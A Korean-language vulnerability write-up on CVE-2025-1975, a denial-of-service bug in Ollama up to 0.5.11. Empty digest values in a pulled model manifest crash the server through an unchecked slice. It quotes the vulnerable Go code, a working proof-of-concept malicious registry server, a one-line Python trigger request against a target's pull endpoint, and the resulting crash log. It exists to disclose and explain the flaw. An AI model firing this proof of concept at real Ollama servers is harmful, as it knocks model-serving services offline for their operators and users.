[하루한줄] CVE-2025-1975 : Ollama의 배열 인덱스 검증 미흡으로 인한 Denial of Service(DoS) 취약점
URL
- A malicious manifests can lead to DoS due to unchecked array bound access via network in ollama/ollama in ollama/ollama
- Commit 9239a25
Target
- Ollama ≤ 0.5.11
Explain
취약점은 서버가 클라이언트의 요청에 의해 모델을 다운로드 받는 pull 요청을 처리하는 과정에서 발생합니다.
func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn func(api.ProgressResponse)) error {
mp := ParseModelPath(name)
// build deleteMap to prune unused layers
deleteMap := make(map[string]struct{})
manifest, _, err := GetManifest(mp)
if errors.Is(err, os.ErrNotExist) {
// noop
} else if err != nil {
slog.Warn("pulling model with bad existing manifest", "name", name, "error", err)
} else {
for _, l := range manifest.Layers {
deleteMap[l.Digest] = struct{}{}
}
if manifest.Config.Digest != "" {
deleteMap[manifest.Config.Digest] = struct{}{}
}
}
if mp.ProtocolScheme == "http" && !regOpts.Insecure {
return errInsecureProtocol
}
fn(api.ProgressResponse{Status: "pulling manifest"})
manifest, err = pullModelManifest(ctx, mp, regOpts)
if err != nil {
return fmt.Errorf("pull model manifest: %s", err)
}
var layers []Layer
layers = append(layers, manifest.Layers...)
if manifest.Config.Digest != "" {
layers = append(layers, manifest.Config)
}
skipVerify := make(map[string]bool)
for _, layer := range layers {
cacheHit, err := downloadBlob(ctx, downloadOpts{
mp: mp,
digest: layer.Digest,
regOpts: regOpts,
fn: fn,
})
if err != nil {
return err
}
skipVerify[layer.Digest] = cacheHit
delete(deleteMap, layer.Digest)
}
모델을 다운 받을 때 모델이 저장되어 있는 서버에서 모델에 대한 정보를 manifest를 통해 받아오게 됩니다. 이 때 manifest 안에 layer 정보가 있고 그 안에 digest 정보가 포함되어 downloadBlob 함수를 트리거 하게 됩니다.
// downloadBlob downloads a blob from the registry and stores it in the blobs directory
func downloadBlob(ctx context.Context, opts downloadOpts) (cacheHit bool, _ error) {
fp, err := GetBlobsPath(opts.digest)
if err != nil {
return false, err
}
fi, err := os.Stat(fp)
switch {
case errors.Is(err, os.ErrNotExist):
case err != nil:
return false, err
default:
opts.fn(api.ProgressResponse{
Status: fmt.Sprintf("pulling %s", opts.digest[7:19]), // [1]
Digest: opts.digest,
Total: fi.Size(),
Completed: fi.Size(),
})
return true, nil
}
모델을 다운로드하는 과정에서 모델 정보를 처리할 때 digest의 길이가 0일 경우, [1]에서 disgest를 파싱할 때 DoS가 발생합니다.
다음과 같이 PoC 서버를 구현할 수 있습니다.
// server.go
package main
import "github.com/gin-gonic/gin"
func main() {
gin.SetMode(gin.DebugMode)
r := gin.Default()
r.GET("/v2/zznq/code1/manifests/latest", func(c *gin.Context) {
c.JSON(200, gin.H{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": gin.H{
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": "",
"size": 10},
"layers": []any{
gin.H{
"mediaType": "application/vnd.ollama.image.license",
"digest": "",
"size": 10},
},
})
})
r.Run("localhost:8080")
}
위와 같이 서버를 실행한 뒤, 아래와 같이 요청을 보내면 크래시가 발생합니다.
import requests
requests.post("http://{target_ollama_sever}:11434/api/pull", json={"model": "http://{malicious_server}:8080/zznq/code1", "insecure": True})
- Crash log:
2025/02/15 00:08:25 routes.go:1186: INFO server config env="map[HTTPS_PROXY: HTTP_PROXY: NO_PROXY: OLLAMA_DEBUG:false OLLAMA_FLASH_ATTENTION:false OLLAMA_GPU_OVERHEAD:0 OLLAMA_HOST:http://127.0.0.1:11434 OLLAMA_KEEP_ALIVE:5m0s OLLAMA_KV_CACHE_TYPE: OLLAMA_LLM_LIBRARY: OLLAMA_LOAD_TIMEOUT:5m0s OLLAMA_MAX_LOADED_MODELS:0 OLLAMA_MAX_QUEUE:512 OLLAMA_MODELS:/Users/whoami/.ollama/models OLLAMA_MULTIUSER_CACHE:false OLLAMA_NOHISTORY:false OLLAMA_NOPRUNE:false OLLAMA_NUM_PARALLEL:0 OLLAMA_ORIGINS:[http://localhost https://localhost http://localhost:* https://localhost:* http://127.0.0.1 https://127.0.0.1 http://127.0.0.1:* https://127.0.0.1:* http://0.0.0.0 https://0.0.0.0 http://0.0.0.0:* https://0.0.0.0:* app://* file://* tauri://* vscode-webview://*] OLLAMA_SCHED_SPREAD:false http_proxy: https_proxy: no_proxy:]"
time=2025-02-15T00:08:25.225-08:00 level=INFO source=images.go:432 msg="total blobs: 0"
time=2025-02-15T00:08:25.225-08:00 level=INFO source=images.go:439 msg="total unused blobs removed: 0"
time=2025-02-15T00:08:25.225-08:00 level=INFO source=routes.go:1237 msg="Listening on 127.0.0.1:11434 (version 0.5.11)"
time=2025-02-15T00:08:25.244-08:00 level=INFO source=types.go:130 msg="inference compute" id=0 library=metal variant="" compute="" driver=0.0 name="" total="10.7 GiB" available="10.7 GiB"
panic: runtime error: slice bounds out of range [:19] with length 0
goroutine 12 [running]:
github.com/ollama/ollama/server.downloadBlob({0x101739c40, 0x1400052c640}, {{{0x10133fc9a, 0x5}, {0x14000419c80, 0xe}, {0x14000419c8f, 0x4}, {0x14000419c94, 0x5}, ...}, ...})
/Users/runner/work/ollama/ollama/server/download.go:478 +0x508
github.com/ollama/ollama/server.PullModel({0x101739c40, 0x1400052c640}, {0x14000419c80, 0x20}, 0x1400052ac00, 0x14000502450)
/Users/runner/work/ollama/ollama/server/images.go:564 +0x600
github.com/ollama/ollama/server.(*Server).PullHandler.func1()
/Users/runner/work/ollama/ollama/server/routes.go:593 +0x174
created by github.com/ollama/ollama/server.(*Server).PullHandler in goroutine 10
/Users/runner/work/ollama/ollama/server/routes.go:580 +0x528
해당 취약점의 패치는 digest가 빈문자열인지 여부를 검사하도록 수정되었습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.